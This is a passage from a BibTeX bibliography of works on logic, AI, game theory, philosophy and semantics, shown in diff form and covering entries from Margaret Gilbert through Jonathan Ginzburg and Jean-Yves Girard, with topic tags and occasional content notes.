"Social Justice and Social + Movements" + 13. Peter Salovey and Alexander J. Rothman and Judith + Rodin, "Health Behavior" + 14. Phoebe C. Ellsworth, Robert Mauro, "Psychology and Law" + 15. Jeffrey Pfeffer, "Understanding Organizations: Concepts + and Controversies" + 16. Donald R. Kinder, "Opinion and Action in the + Realm of Politics" + 17. Philip E. Tetlock, "Social Psychology and World Politics" + 18. Alan Page Fiske et al., "The Cultural Matrix of Social + Psychology" + 19. David M. Buss, Douglas T. Kenrick, "Evolutionary Social + Psychology" + } , + ISBN = {0195213769 (cloth)}, + topic = {social-psychology;} + } + +@article{ gilbert_m:1987a, + author = {Margaret Gilbert}, + title = {Modelling Collective Belief}, + journal = {Synth\'ese}, + year = {1987}, + volume = {73}, + pages = {185--204}, + missinginfo = {number}, + topic = {mutual-beliefs;} + } + +@book{ gilbert_m:1989a, + author = {Margaret Gilbert}, + title = {On Social Facts}, + publisher = {Routledge}, + year = {1989}, + address = {London}, + ISBN = {0415024447}, + topic = {social-philosophy;convention;foundations-of-sociology;} + } + +@article{ gilbert_m:1990a, + author = {Margaret Gilbert}, + title = {Rationality, Coordination, and Convention}, + journal = {Synth\'ese}, + year = {1990}, + volume = {84}, + number = {1}, + pages = {1--22}, + topic = {convention;rationality;} + } + +@book{ gilbert_m:1996a, + author = {Margaret Gilbert}, + title = {Living Together: Rationality, Sociality, and Obligation}, + publisher = {Rowman \& Littlefield Publishers}, + year = {1996}, + address = {Lanham, Maryland}, + ISBN = {0847681505 (cloth)}, + topic = {social-philosophy;rationality;} + } + +@article{ gilbert_m:1998a, + author = {Margarit Gilbert}, + title = {Review of {\it Rationality and Coordination}, by + {C}ristina {B}iccieri}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {105}, + number = {1}, + pages = {105--107}, + xref = {Review of biccieri:1993a.}, + topic = {foundations-of-game-theory;game-theoretic-coordination; + rationality;} + } + +@article{ gilbert_m:1998b, + author = {Margaret Gilbert}, + title = {Review of {\it One for All: The Logic of Group + Conflict}, by {R}ussell {H}ardin}, + journal = {Philosophical Review}, + year = {1998}, + volume = {107}, + number = {1}, + pages = {135--137}, + xref = {Review of hardin:1995a.}, + topic = {group-action;foundations-of-sociology;} + } + +@book{ gilbert_m:2000a, + author = {Margaret Gilbert}, + title = {Sociality and Responsibility: New Essays in Plural Subject + Theory}, + publisher = {Rowman \& Littlefield Publishers}, + year = {2000}, + address = {Lanham, Maryland}, + ISBN = {0847697622 (cloth)}, + topic = {social-philosophy;convention;foundations-of-sociology; + group-attitudes;} + } + +@inproceedings{ gilboa:1988a, + author = {Itzhak Gilboa}, + title = {Information and Meta Information}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {227--243}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {game-theory;mutual-belief;} + } + +@inproceedings{ gilboa-schmeidler:1988b, + author = {Itzhak Gilboa and David Schmeidler}, + title = {Information-Dependent Games: Can Common Sense Be Common + Knowledge?}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge (Abstract)}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {397--400}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {game-theory;mutual-belief;} + } + +@inproceedings{ gilboa:1990a, + author = {Itzhak Gilboa}, + title = {A Note on the Consistency of Game Theory}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {201--208}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {foundations-of-decision-theory;foundations-of-game-theory;} + } + +@incollection{ gilboa-schmeidler:1992a, + author = {Itzhak Gilboa and David Schmeidler}, + title = {Updating Ambiguous Beliefs}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {143--162}, + address = {San Francisco}, + topic = {belief-revision;} + } + +@incollection{ gilboa:1994a, + author = {Itzhak Gilboa}, + title = {Case-Based Decision Theory and Knowledge Representation}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {175--181}, + address = {San Francisco}, + topic = {foundations-of-decision-theory;} + } + +@incollection{ gilboa-schmeidler:1998a, + author = {Itzhak Gilboa and David Schmeidler}, + title = {Case-Based Decision: An Extended Abstract}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {706--710}, + address = {Chichester}, + topic = {case-based-reasoning;practical-reasoning;decision-theory;} + } + +@article{ gildea-jurafsky:2002a, + author = {Daniel Gildea and Daniel Jurafsky}, + title = {Automatic Labeling of Semantic Roles}, + journal = {Computational Linguistics}, + year = {2002}, + volume = {28}, + number = {3}, + pages = {245--288}, + topic = {computational-semantics;machine-learning;} + } + +@unpublished{ giles:1980a, + author = {Robin Giles}, + title = {A Nonclassical Logic for Reasoning with Beliefs}, + year = {1980}, + note = {Unpublished manuscript.}, + missinginfo = {Year is a highly uncertain guess.}, + topic = {epistemic-logic;} + } + +@inproceedings{ giles:1985a, + author = {Robin Giles}, + title = {A Resolution Logic for Fuzzy Reasoning}, + booktitle = {Proceedings of the Fifteenth International Symposium + on Multiple-Valued Logic}, + year = {1985}, + pages = {60--67}, + missinginfo = {editor, organization, address, publisher}, + topic = {qualitative-probability;theorem-proving;} + } + +@article{ giles:1988a, + author = {Robin Giles}, + title = {A Utility-Valued Logic for Decision-Making}, + journal = {International Journal of Approximate Reasoning}, + year = {1988}, + volume = {2}, + pages = {113--141}, + missinginfo = {number}, + topic = {utility-semantics;} + } + +@incollection{ giles:1990a, + author = {Robin Giles}, + title = {Introduction to a Logic of Assertions}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {361--385}, + address = {Dordrecht}, + topic = {utility-semantics;} + } + +@incollection{ gillies_as:1999a, + author = {Anthony S. Gillies}, + title = {The Epistemics of Presupposition}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {25--30}, + address = {Amsterdam}, + topic = {presupposition;} + } + +@incollection{ gillies_d:1998a, + author = {Donald Gillies}, + title = {Confirmation Theory}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {135--167}, + address = {Dordrecht}, + topic = {confirmation-theory;} + } + +@article{ gillogly:1972a, + author = {James J. Gillogly}, + title = {The Technology Chess Program}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {145--163}, + topic = {game-playing;} + } + +@article{ gillon:1987a, + author = {Brendon S. Gillon}, + title = {The Readings of Plural Noun Phrases in {E}nglish}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {2}, + pages = {199--219}, + topic = {nl-semantics;ambiguity;plural;} + } + +@incollection{ gillon:1990a, + author = {Brendon S. Gillon}, + title = {Bare Plurals as Plural Indefinite Noun Phrases}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry {Kyburg, Jr.} and Ronald Loui and Greg Carlson}, + pages = {119--166}, + address = {Dordrecht}, + contentnote = {Takes bare plurals to quantifier phrases. Defends + view against Carlson's arguments. --Delia Graff.}, + topic = {nl-semantics;plural;generics;} + } + +@article{ gillon:1990b, + author = {Brendan S. Gillon}, + title = {Plural Noun Phrases and Their Readings: a Reply to + {L}asersohn}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {4}, + pages = {477--485}, + xref = {Commentary on lasersohn:1989a.}, + topic = {nl-semantics;plural;} + } + +@article{ gillon:1990c, + author = {Brendon S. Gillon}, + title = {Ambiguity, Generality, and Indeterminacy: Tests and + Definitions}, + journal = {Synth\'ese}, + year = {1990}, + volume = {85}, + number = {3}, + pages = {391--416}, + topic = {ambiguity;} + } + +@article{ gillon:1992a, + author = {Brendan S. Gillon}, + title = {Towards a Common Semantics for {E}nglish Count and Mass Nouns}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {6}, + pages = {537--639}, + topic = {nl-semantics;plural;mass-terms;} + } + +@article{ gilmore:1970a, + author = {P.C. Gilmore}, + title = {An Examination of the Geometry Theorem Machine}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {3--4}, + pages = {171--187}, + topic = {theorem-proving;computer-assisted-mathematics;} + } + +@article{ gilmore_pc:2001a, + author = {Paul C. Gilmore}, + title = {An Intensional Type Theory: Motivation and Cut-Elimination}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {1}, + pages = {383--400}, + topic = {higher-order-logic;nominalism;} + } + +@article{ ginet:1962a, + author = {Carl Ginet}, + title = {Can the Will Be Caused?}, + journal = {The Philosophical Review}, + year = {1962}, + volume = {71}, + pages = {49--92}, + missinginfo = {number}, + topic = {freedom;causality;} + } + +@article{ ginet:1979a, + author = {Carl Ginet}, + title = {Performativity}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {2}, + pages = {245--265}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@incollection{ ginet:1989a, + author = {Carl Ginet}, + title = {Reasons Explanation of Action: An + Incompatibilist Account}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {17--46}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {reasons-for-action;desires;} + } + +@article{ ginet:1998a, + author = {Carl Ginet}, + title = {Review of {\em {T}he Significance of Free Will}, by + {R}obert {K}ane}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {107}, + number = {2}, + pages = {312--315}, + xref = {Review of kane:1996a.}, + topic = {freedom;volition;} + } + +@incollection{ ginet:2000a, + author = {Carl Ginet}, + title = {The Epistemic Requirements for Moral + Responsibility}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {279--300}, + address = {Oxford}, + topic = {blameworthiness;} + } + +@article{ ginsberg_a-etal:1988a, + author = {Allen Ginsberg and Sholom M. Weiss and Peter Politakis}, + title = {Automatic Knowledge Base Refinement for Classification Systems}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {2}, + pages = {197--226}, + acontentnote = {Abstract: + An automated approach to knowledge base refinement, an important + aspect of knowledge acquisition is described. Using empirical + performance analysis, SEEK2 extends the capabilities of its + predecessor rule refinement system, SEEK [17]. In this paper, + the progress made since the original SEEK program is described: + (a) SEEK2 works with a more general class of knowledge bases + than SEEK, (b) SEEK2 has an automatic refinement capability, it + can perform many of the basic tasks involved in knowledge base + refinement without human interaction, (c) a metalanguage for + knowledge base refinement has been specified which describes + knowledge about the refinement process. Methods for estimating + the expected gain in performance for a refined knowledge base + and prospective test cases are described and some results are + reported. An approach to justifying refinement heuristics is + discussed.}, + topic = {knowledge-acquisition;} + } + +@techreport{ ginsberg_ml:1984a, + author = {Matthew L. Ginsberg}, + title = {Analyzing Incomplete Information}, + institution = {Department of Computer Science, Stanford University}, + number = {Hpp 84--17}, + year = {1984}, + address = {Palo Alto, California}, + topic = {probability-semantics;conditionals;} + } + +@inproceedings{ ginsberg_ml:1985a, + author = {Matthew L. Ginsburg}, + title = {Counterfactuals}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {80--86}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + contentnote = {Attempts to define a selection function for a + circuits domain.}, + xref = {Journal Publication: ginsberg:1986c.}, + topic = {kr;conditionals;kr-course;} + } + +@inproceedings{ ginsberg_ml:1986a1, + author = {Matthew L. Ginsberg}, + title = {Multi-Valued Logics}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {243--247}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Republication: ginsberg_ml:1986a2.}, + topic = {bilattices;multi-valued-logic;} + } + +@incollection{ ginsberg_ml:1986a2, + author = {Matthew L. Ginsberg}, + title = {Multi-Valued Logics}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {251--255}, + address = {Los Altos, California}, + xref = {Original Publication: ginsberg_ml:1986a1.}, + topic = {bilattices;multi-valued-logic;} + } + +@incollection{ ginsberg_ml:1986b, + author = {Matthew L. Ginsberg}, + title = {Possible Worlds Planning}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {213--243}, + address = {Los Altos, California}, + topic = {foundations-of-planning;action-formalisms;qualification-problem;} + } + +@article{ ginsberg_ml:1986c, + author = {Matthew L. Ginsberg}, + title = {Counterfactuals}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {30}, + number = {1}, + pages = {35--79}, + topic = {kr;conditionals;kr-course;} + } + +@book{ ginsberg_ml:1987a, + editor = {Matthew L. Ginsberg}, + title = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + address = {Los Altos, California}, + note = {(Out of print.)}, + contentnote = {TC: + 1. Matthew L. Ginsberg, "Introduction", pp. 1--23 + 2. John McCarthy and Patrick J. Hayes, "Some Philosophical + Problems from the Standpoint of Artificial + Intelligence", pp. 26--45 + 3. John McCarthy, "Epistemological Problems of Artificial + Intelligence", pp. 46--55 + 4. David J. Israel, "What's Wrong with Nonmonotonic + Logic?", pp. 53--55 + 5. Donald Perlis, "On the Consistency of Commonsense + Reasoning", pp. 56--66 + 6. Raymond Reiter, "A Logic for Default Reasoning", pp. 68--93 + 7. Raymond Reiter and Giovanni Criscuolo, "On Interacting + Defaults", pp. 94--100 + 8. David Etherington and Raymond Reiter, "On Inheritance + Hierarchies with Exceptions", pp. 101--105 + 9. David S. Touretzky, "Implicit Ordering of Defaults in + Inheritance Systems", pp. 106--109 + 10. Drew McDermott and Jon Doyle, "Non-Monotonic Logic + {I}", pp. 111--126 + 11. Robert C. Moore, "Semantical Considerations on Nonmonotonic + Logic", pp. 127--136 + 12. Robert Moore, "Possible Worlds Semantics for Autoepistemic + Logic", pp. 137--142 + 13. John McCarthy, "Circumscription---a Form of Non-Monotonic + Reasoning", pp. 145--152 + 14. John McCarthy, "Applications of Circumscription to + Formalizing Common-Sense Knowledge", pp. 153--166 + 15. Vladimir Lifschitz, "Computing Circumscription", pp. 167--173 + 16. David W. Etherington and Robert Mercer and and Raymond + Reiter, "On the Adequacy or Predicate Circumscription for + Closed-World Reasoning", pp. 174--178 + 17. Vladimir Lifschitz, "Pointwise circumscription", pp. 179--193 + 18. Kurt Konolige, "On the Relation Between Default and + Autoepistemic Logic", pp. 195--226 + 19. Yoav Shoham, "A Semantical Approach to Nonmonotonic + Logics", pp. 227--250 + 20. Matthew L. Ginsberg, "Multi-Valued Logics", pp. 251--255 + 21. Jon Doyle, "A Truth Maintenance System", pp. 259--279 + 22. Johan de Kleer, "An Assumption-Based {TMS}", pp. 280--297 + 23. Raymond Reiter, "On Closed World Data Bases", pp. 300--310 + 24. Keith L. Clark, "Negation as Failure", pp. 311--325 + 25. Jack Minker, "On Indefinite Databases and the Closed World + Assumption", pp. 326--333 + 26. Vladimir Lifschitz, "Closed-World Databases and + Circumscription", pp. 334--336 + 27. Vladimir Lifschits, "On the Declarative Semantics of Logic + Programs with Negation", pp. 337--350 + 28. Raymond Reiter, "A Theory of Diagnosis from First + Principles", pp. 352--371 + 29. Johan de Kleer and Brian C. Williams, "Diagnosing Multiple + Faults", pp. 372--388 + 30. Steven Hanks and Drew McDermott, "Default Reasoning, + Nonmonotonic Logics and the Frame Problem", pp. 390--395 + 31. Yoav Shoham, "Chronological Ignorance: An Experiment in + Nonmonotonic Temporal Reasoning", pp. 396--409 + 32. Vladimir Lifschitz, "Formal Theories of Action", pp. 410--432 + 33. Matthew L. Ginsberg and David E. Smith, "Reasoning about + Action {I}: A Possible Worlds Approach", pp. 433--463 + 34. Donald Perlis, "A Bibliography of Literature on Non-Monotonic + Reasoning", pp. 466--477 + } , + topic = {kr;nonmonotonic-reasoning;kr-course;} + } + +@incollection{ ginsberg_ml:1987b, + author = {Matthew L. Ginsberg}, + title = {Introduction}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {1--23}, + address = {Los Altos, California}, + topic = {kr;nonmonotonic-reasoning;nonmonotonic-reasoning-survey;kr-course;} + } + +@inproceedings{ ginsberg_ml-smith:1987a, + author = {Matthew L. Ginsberg and David E. Smith}, + title = {Reasoning about Action {I}: the Qualification Problem}, + booktitle = {Proceedings of the 1987 Workshop on the Frame Problem in + Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + location = {Lawrence, Kansas}, + year = {1987}, + editor = {Frank M. Brown}, + xref = {Revised version in Artificial Intelligence: + ginsberg_ml-smith:1988a.}, + topic = {qualification-problem;action;foundations-of-planning;} +} + +@inproceedings{ ginsberg_ml-smith_de:1987b1, + author = {Matthew L. Ginsberg and David E. Smith}, + title = {Reasoning about Action {II}: The Qualification Problem}, + booktitle = {The Frame Problem in Artificial Intelligence: Proceedings + of the 1987 Workshop}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Frank M. Brown}, + pages = {259--287}, + address = {Los Altos, California}, + xref = {Reprinted: ginsberg_ml-smith_de:1987b2.}, + topic = {kr;frame-problem;qualification-problem; + Yale-shooting-problem;} + } + +@article{ ginsberg_ml-smith_de:1987b2, + author = {Matthew L. Ginsberg and David E. Smith}, + title = {Reasoning about Action {II}: The Qualification Problem}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {3}, + pages = {311--342}, + xref = {Journal publication of: ginsberg_ml-smith:1987b1.}, + topic = {kr;frame-problem;qualification-problem; + Yale-shooting-problem;} + } + +@article{ ginsberg_ml:1988a, + author = {Matthew L. Ginsberg}, + title = {Multivalued Logics: A Uniform Approach to Reasoning in Artificial + Intelligence}, + journal = {Computational Intelligence}, + year = {1988}, + volume = {4}, + pages = {265--316}, + missinginfo = {number}, + topic = {kr;nonmonotonic-logic; + multi-valued-logic;kr-course;} + } + +@article{ ginsberg_ml-smith:1988a1, + author = {Matthew L. Ginsberg and David E. Smith}, + title = {Reasoning about Action {I}: A Possible Worlds Approach}, + journal = {Artificial Intelligence}, + volume = {35}, + number = {2}, + pages = {165--195}, + year = {1988}, + xref = {Revision of ginsberg_ml-smith:1987a.}, + xref = {Republication: ginsberg_ml-smith:1988a2.}, + topic = {qualification-problem;action;foundations-of-planning;} +} + +@incollection{ ginsberg_ml-smith_de:1988a2, + author = {Matthew L. Ginsberg and David E. Smith}, + title = {Reasoning about Action {I}: A Possible Worlds Approach}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {433--463}, + address = {Los Altos, California}, + xref = {Original Publication: ginsberg_ml-smith:1988a1.}, + topic = {qualification-problem;action;foundations-of-planning;} + } + +@article{ ginsberg_ml:1989c, + author = {Matthew L. Ginsberg}, + title = {A Circumscriptive Theorem Prover}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {39}, + number = {2}, + pages = {209--230}, + topic = {nonmonotonic-reasoning;circumscription; + theorem-proving;} + } + +@inproceedings{ ginsberg_ml:1990a, + author = {Matthew L. Ginsberg}, + title = {A Local Formalization of Inheritance}, + booktitle = {Proceedings of the 1990 Non-Monotonic Reasoning Workshop}, + year = {1990}, + organization = {American Association for Artificial Intelligence}, + missinginfo = {Get exact info on this conference}, + topic = {inheritance-theory;} + } + +@article{ ginsberg_ml:1990b, + author = {Matthew L. Ginsberg}, + title = {Bilattices and Modal Operators}, + journal = {Journal of Logic and Computation}, + year = {1990}, + missinginfo = {number,volume,pages}, + topic = {kr;nonmonotonic-logic;multi-valued-logic;kr-course;} + } + +@inproceedings{ ginsberg_ml:1991a, + author = {Matthew L. Ginsberg}, + title = {The Computational Value of Nonmonotonic Reasoning}, + booktitle = {Proceedings of the Second International Conference on + Principles of Knowledge Representation and Reasoning}, + year = {1991}, + editor = {James Allen and Richard Fikes and Erik Sandewall}, + pages = {262--268}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;kr-course;} + } + +@incollection{ ginsberg_ml:1991b, + author = {Matthew L. Ginsberg}, + title = {Computational Considerations in Reasoning about Action}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {250--261}, + address = {San Mateo, California}, + topic = {kr;planning-algorithms;foundations-of-planning;kr-course;} + } + +@article{ ginsberg_ml:1992a, + author = {Matthew L. Ginsberg}, + title = {Multivalued Logics: A Uniform Approach to Inference + in Artificial Intelligence}, + journal = {Computational Intelligence}, + year = {1992}, + volume = {4}, + number = {3}, + pages = {256--316}, + topic = {bilattices;multi-valued-logic;nonmonotonic-logic;} + } + +@inproceedings{ ginsberg_ml-holbrook:1992a, + author = {Matthew L. Ginsberg and Hugh Holbrook}, + title = {What Defaults Can Do that Hierarchies Can't}, + booktitle = {Proceedings of the Fourth Workshop on Nonmonotonic + Reasoning}, + year = {1992}, + organization = {American Association for Artificial Intelligence}, + missinginfo = {Check on all info on this publication.}, + topic = {nonmonotonic-reasoning;hierarchical-planning;} + } + +@book{ ginsberg_ml:1993a, + author = {Matthew L. Ginsberg}, + title = {Essentials of Artificial Intelligence}, + publisher = {Morgan Kaufmann Publishers}, + year = {1993}, + address = {San Mateo, California}, + topic = {AI-intro;} + } + +@incollection{ ginsberg_ml:1994a, + author = {Matthew L. Ginsberg}, + title = {{AI} and Nonmonotonic Reasoning}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 3: Nonmonotonic + Reasoning and Uncertain Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay and Christopher J. Hogger and J. A. Robinson}, + pages = {1--33}, + address = {Oxford}, + topic = {nonmonotonic-reasoning;nonmonotonic-logic;logic-in-AI;} + } + +@incollection{ ginsberg_ml-mcallester:1994a, + author = {Matthew L. Ginsberg and Davis A. McAllester}, + title = {{GSAT} and Efficient Backtracking}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {226--227}, + address = {San Francisco, California}, + topic = {kr;search;complexity-in-AI;backtracking;kr-course;} + } + +@article{ ginsberg_ml:1995a, + author = {Matthew L. Ginsberg}, + title = {Approximate Planning}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {89--123}, + contentnote = {Formalizes idea of plan that is expected -- not + guaranteed -- to achieve its goal. Argues that this more relaxed + sort of plan is needed in planning.}, + topic = {planning;} + } + +@incollection{ ginsberg_ml:1996a, + author = {Matthew L. Ginsberg}, + title = {A New Algorithm for Generative Planning}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {186--197}, + address = {San Francisco, California}, + topic = {foundations-of-planning;kr;planning-algorithms;kr-course;} + } + +@incollection{ ginsberg_ml:1996b, + author = {Matthew L. Ginsberg}, + title = {Do Computers Need Common Sense?}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {620--626}, + address = {San Francisco, California}, + topic = {kr;foundations-of-AI;kr-course;} + } + +@inproceedings{ ginsberg_ml:1996c, + author = {Matthew L. Ginsberg}, + title = {Partition Search}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {228--233}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {search;game-playing;} + } + +@inproceedings{ ginsberg_ml-parker:2000a, + author = {Matthew L. Ginsberg and Andrew J. Parker}, + title = {Satisfiability Algorithms and Finite Quantification}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {690--701}, + topic = {planning;search;model-construction;} + } + +@techreport{ ginsburg_s-partee:1968a, + author = {Seymour Ginsburg and Barbara Partee}, + title = {A Mathematical Model of Transformational Grammars}, + institution = {System Development Corporation}, + number = {TM--738--048--00}, + year = {1968}, + address = {Santa Monica}, + topic = {transformational-grammar;} + } + +@phdthesis{ ginzburg:1992a, + author = {Jonathan Ginzburg}, + title = {Questions, Queries, and Facts: A Semantics and + Pragmatics for Interrogatives}, + school = {Stanford University}, + year = {1992}, + type = {Ph.{D}. Dissertation}, + address = {Stanford}, + topic = {interrogatives;facts;} + } + +@article{ ginzburg:1995a, + author = {Jonathan Ginzburg}, + title = {Resolving Questions {I}}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + pages = {459--527}, + number = {5}, + topic = {interrogatives;situation-semantics;} + } + +@article{ ginzburg:1995b, + author = {Jonathan Ginzburg}, + title = {Resolving Questions {II}}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {6}, + pages = {567--609}, + topic = {interrogatives;situation-semantics;} + } + +@book{ ginzburg:1996a, + author = {Jonathan Ginzburg}, + title = {Questions, Queries, and Facts}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {interrogatives;facts;} + } + +@incollection{ ginzburg:1996b, + author = {Jonathan Ginzburg}, + title = {Interrogatives: Questions, Facts, and Dialogue}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {385--422}, + topic = {nl-semantcs;interrogatives;dialogue-logic;} + } + +@incollection{ ginzburg-sag:1999a, + author = {Jonathan Ginzburg and Ivan Sag}, + title = {Constructional Ambiguity in Conversation}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {31--36}, + address = {Amsterdam}, + topic = {intonation;pragmatics;ambiguity;HPSG;} + } + +@article{ giora:1995a, + author = {R. Giora}, + title = {On Irony and Negation}, + journal = {Discourse Processes}, + year = {1995}, + volume = {19}, + number = {2}, + pages = {239--264}, + missinginfo = {number}, + topic = {irony;negation;} + } + +@article{ giordano-martelli:1994a, + author = {Laura Giordano and Alberto Martelli}, + title = {On Cumulative Default Logics}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {1}, + pages = {161--179}, + topic = {default-logic;nonmonotonic-logic;} + } + +@inproceedings{ giordano-etal:1998a, + author = {Laura Giordano and Alberto Martelli and Camilla B. Schwind}, + title = {Dealing with Concurrent Actions in Modal Action Logic}, + booktitle = {Proceedings of the Thirteenth {E}uropean Conference on + {A}rtificial {I}ntelligence}, + year = {1998}, + pages = {537--541}, + missinginfo = {A's 1st name, editor, publisher, address}, + topic = {concurrence;action-formalisms;modal-logic;} + } + +@article{ giordano-etal:2002a, + author = {Laura Giordano and Valentina Gliozzi and Nicola Olivetti}, + title = {Iterated Belief Revision and Conditional Logic}, + journal = {Studia Logica}, + year = {2002}, + volume = {68}, + number = {1}, + pages = {23--47}, + topic = {belief-revision;conditionals;CCCP;} + } + +@book{ gipper:1987a, + author = {Helmut Gipper}, + title = {Das {S}prachapriori: {S}prache als {V}oraussetzung Menschlichen + {D}enkens und {E}rkennens}, + publisher = {Frommann-Holzboog}, + year = {1987}, + address = {Stuttgart}, + ISBN = {3772809340}, + topic = {a-priori;} + } + +@book{ girard:1989a, + author = {Jean-Yves Girard}, + title = {Proofs and Types}, + publisher = {Cambridge University Press}, + year = {1989}, + address = {Cambridge, England}, + ISBN = {0521371813}, + note = {Translated and with appendices by {P}aul {T}aylor and + {Y}ves {L}afont.}, + topic = {proof-theory;type-theory;} + } + +@incollection{ giraudet-rounes:1999a, + author = {Guillaume Giraudet and Corinne Rounes}, + title = {Independence from Context Information Provided by Spatial + Signature Learning in a Natural Object Identification Task}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = 